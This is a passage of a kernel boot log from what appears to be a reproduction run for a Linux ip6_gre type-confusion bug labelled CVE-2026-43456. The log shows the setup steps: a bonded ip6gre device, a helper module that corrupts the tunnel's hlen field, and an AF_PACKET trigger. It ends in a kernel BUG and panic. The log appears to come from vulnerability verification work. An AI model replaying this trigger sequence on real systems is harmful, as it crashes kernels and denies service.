bond1 up 2>&1 || true [ 12.095512] ip6_gre: CVE-2026-43456 ip6gre_header: dev=bond1 hlen=0 needed=40 headroom=288 [init] cmd: /sbin/ip -d link show bond1 2>&1 || true [ 12.417554] ip6_gre: CVE-2026-43456 ip6gre_header: dev=bond1 hlen=0 needed=40 headroom=288 9: bond1: mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000 link/gre6 fd00::1 brd :: promiscuity 0 allmulti 0 minmtu 68 maxmtu 65535 bond mode active-backup active_slave ip6gre1 miimon 0 updelay 0 downdelay 0 peer_notify_delay 0 use_carrier 1 arp_interval 0 arp_missed_max 2 arp_validate none arp_all_targets any primary_reselect always fail_over_mac active xmit_hash_policy layer2 resend_igmp 1 num_grat_arp 1 all_slaves_active 0 min_links 0 lp_interval 1 packets_per_slave 1 lacp_active on lacp_rate slow ad_select stable tlb_dynamic_lb 1 addrgenmode eui64 numtxqueues 16 numrxqueues 16 gso_max_size 65536 gso_max_segs 65535 tso_max_size 65536 tso_max_segs 65535 gro_max_size 65536 [init] cmd: /sbin/ip -d link show ip6gre1 2>&1 || true 8: ip6gre1@NONE: mtu 1500 qdisc noqueue master bond1 state UNKNOWN mode DEFAULT group default qlen 1000 link/gre6 fd00::1 brd :: permaddr 6a52:5bf1:c7b2:: promiscuity 0 allmulti 0 minmtu 0 maxmtu 0 ip6gre remote any local fd00::1 hoplimit 64 encaplimit 4 tclass 0x00 flowlabel 0x00000 bond_slave state ACTIVE mii_status UP link_failure_count 0 perm_hwaddr fd:00:00:00:00:00:00:00:00:00:00:00:00:00:00:01 queue_id 0 prio 0 addrgenmode eui64 numtxqueues 1 numrxqueues 1 gso_max_size 65536 gso_max_segs 65535 tso_max_size 65536 tso_max_segs 65535 gro_max_size 65536 [init] STEP: load populate_hlen6 helper (writes 0x961a63cc into confused ip6_tnl.hlen of netdev_priv(bond1)) [init] cmd: /sbin/insmod /root/mods/populate_hlen6.ko 2>&1 || /sbin/modprobe populate_hlen6 2>&1 || true [ 12.675711] populate_hlen6: loading out-of-tree module taints kernel. [ 12.682881] CVE-2026-43456 VAR(ip6gre): bond1 priv=ffff8881044ea9c0 ip6_tnl.hlen offset=264 old=0x00000000(0) new=0x961a63cc(-1776655412) [init] STEP: fire AF_PACKET SOCK_DGRAM on bond1 -> dev_hard_header(bond1) -> ip6gre_header [init] TRIGGER: AF_PACKET SOCK_DGRAM sendto(bond1) -- vuln kernel should BUG/panic here (ip6gre_header type confusion) [init] AF_PACKET sendto(bond1) rc=-1 (Invalid argument) -- returned, so no crash on this kernel [ 13.016634] ip6_gre: CVE-2026-43456 ip6gre_header: dev=bond1 hlen=-1776655412 needed=-1776655372 headroom=288 [ 13.021646] ------------[ cut here ]------------ [ 13.021875] kernel BUG at net/core/skbuff.c:2306! [ 13.022704] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI [ 13.023508] CPU: 0 UID: 0 PID: 9 Comm: kworker/0:0 Tainted: G O 7.0.0-rc2 #1 PREEMPT(lazy) [ 13.023919] Tainted: [O]=OOT_MODULE [ 13.024091] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 13.024615] Workqueue: mld mld_ifc_work [ 13.025214] RIP: 0010:pskb_expand_head+0x59c/0x6d0 [ 13.025479] Code: 46 0b ff 48 8b 3d 84 50 5f 01 4c 89 e6 e8 bc f5 07 ff e9 89 fc ff ff 90 0f 0b 90 e9 95 fe ff ff 4c 8d 60 ff e9 06 ff ff ff 90 <0f> 0b 90 0f 0b 90 e9 80 fe ff ff 90 0f 0b 48 89 df e8 0e b4 ff ff [ 13.025967] RSP: 0018:ffff8881002ff680 EFLAGS: 00010282 [ 13.026153] RAX: 0000000000000ec0 RBX: ffff888100f25180 RCX: dffffc0000000000 [ 13.026321] RDX: 0000000000000007 RSI: ffffffff8261a4ea RDI: ffff888100f2523c [ 13.026540] RBP: ffff888100f2523c R08: ffffffff8136ab15 R09: fffffbfff079a42c [ 13.026732] R10: 0000000000000003 R11: 0000000000000001 R12: 00000000961a71a0 [ 13.026951] R13: ffff8881044ea9c0 R14: 0000000000000820 R15: 00000000961a62e0 [ 13.027169] FS: 0000000000000000(0000) GS:ffff8881961c2000(0000) knlGS:0000000000000000 [ 13.027392] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 13.027549] CR2: 00007f20e609d1f4 CR3: 0000000101cab000 CR4: 00000000000006f0 [ 13.027824] Call Trace: [ 13.028048] [ 13.028181] ? __pfx__printk+0x10/0x10 [ 13.028330] ? __pfx_pskb_expand_head+0x10/0x10 [ 13.028524] ip6gre_header+0x14a/0x430 [ip6_gre] [ 13.029388] ? __pfx_ip6gre_header+0x10/0x10 [ip6_gre] [ 13.029588] ? __pfx_selinux_ip_postroute+0x10/0x10 [ 13.029726] ? selinux_ip_postroute+0x2ef/0x5d0 [ 13.029892] ? __pfx_ip6gre_header+0x10/0x10 [ip6_gre] [ 13.030098] neigh_connected_output+0x15e/0x1d0 [ 13.030250] ip6_finish_output2+0x44b/0xa20 [ 13.030412] ? __pfx_ip6_finish_output2+0x10/0x10 [ 13.030561] ? ret_from_fork+0x2bc/0x3c0 [ 13.030673] ? ret_from_fork_asm+0x1a/0x30 [ 13.030825] ? __rcu_read_unlock+0x19/0x50 [ 13.031007] ? ip6_mtu+0x6e/0x80 [ 13.031135] ? __ip6_finish_output+0x131/0x360 [ 13.031263] ip6_output+0x126/0x270 [ 13.031402] ? __pfx_ip6_output+0x10/0x10 [ 13.031542] ? __pfx_ip6_finish_output+0x10/0x10 [ 13.031669] ? netlbl_enabled+0x21/0x40 [ 13.031810] ? selinux_ip_output+0x17/0x100 [ 13.031975] ? nf_hook_slow+0x8f/0x130 [ 13.032120] NF_HOOK.constprop.0+0xb6/0x1a0 [ 13.032245] ? __pfx_NF_HOOK.constprop.0+0x10/0x10 [ 13.032402] ? __pfx_xfrm_lookup_with_ifid+0x10/0x10 [ 13.032555] ? __pfx_dst_output+0x10/0x10 [ 13.032669] ? _raw_spin_unlock_bh+0xd/0x20 [ 13.032814] ? icmp6_dst_alloc+0x274/0x330 [ 13.032987] mld_sendpack+0x335/0x4c0 [ 13.033125] ? __pfx_mld_sendpack+0x10/0x10 [ 13.033248] ? mutex_lock+0x80/0xd0 [ 13.033378] ? __pfx_mutex_lock+0x10/0x10 [ 13.033514] mld_ifc_work+0x4a1/0x6c0 [ 13.033633] process_one_work+0x31b/0x640 [ 13.033769] ? assign_work+0xc1/0x160 [ 13.033909] worker_thread+0x270/0x4c0 [ 13.034062] ? __pfx_worker_thread+0x10/0x10 [ 13.034197] kthread+0x192/0x1d0 [ 13.034297] ? __pfx_kthread+0x10/0x10 [ 13.034428] ret_from_fork+0x2bc/0x3c0 [ 13.034557] ? __pfx_ret_from_fork+0x10/0x10 [ 13.034675] ? __switch_to+0x2bb/0x700 [ 13.034810] ? __pfx_kthread+0x10/0x10 [ 13.034933] ret_from_fork_asm+0x1a/0x30 [ 13.035083] [ 13.035201] Modules linked in: populate_hlen6(O) ip6_gre gre ip6_tunnel tunnel6 dummy bonding [ 13.036245] ---[ end trace 0000000000000000 ]--- [ 13.036613] RIP: 0010:pskb_expand_head+0x59c/0x6d0 [ 13.036795] Code: 46 0b ff 48 8b 3d 84 50 5f 01 4c 89 e6 e8 bc f5 07 ff e9 89 fc ff ff 90 0f 0b 90 e9 95 fe ff ff 4c 8d 60 ff e9 06 ff ff ff 90 <0f> 0b 90 0f 0b 90 e9 80 fe ff ff 90 0f 0b 48 89 df e8 0e b4 ff ff [ 13.037860] RSP: 0018:ffff8881002ff680 EFLAGS: 00010282 [ 13.038227] RAX: 0000000000000ec0 RBX: ffff888100f25180 RCX: dffffc0000000000 [ 13.038427] RDX: 0000000000000007 RSI: ffffffff8261a4ea RDI: ffff888100f2523c [ 13.038596] RBP: ffff888100f2523c R08: ffffffff8136ab15 R09: fffffbfff079a42c [ 13.038782] R10: 0000000000000003 R11: 0000000000000001 R12: 00000000961a71a0 [ 13.038991] R13: ffff8881044ea9c0 R14: 0000000000000820 R15: 00000000961a62e0 [ 13.039685] FS: 0000000000000000(0000) GS:ffff8881961c2000(0000) knlGS:0000000000000000 [ 13.039922] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 13.040069] CR2: 00007f20e609d1f4 CR3: 0000000101cab000 CR4: 00000000000006f0 [ 13.041695] Kernel panic - not syncing: Fatal exception [ 13.043855] Kernel Offset: disabled [ 13.044176] Rebooting in 1 seconds..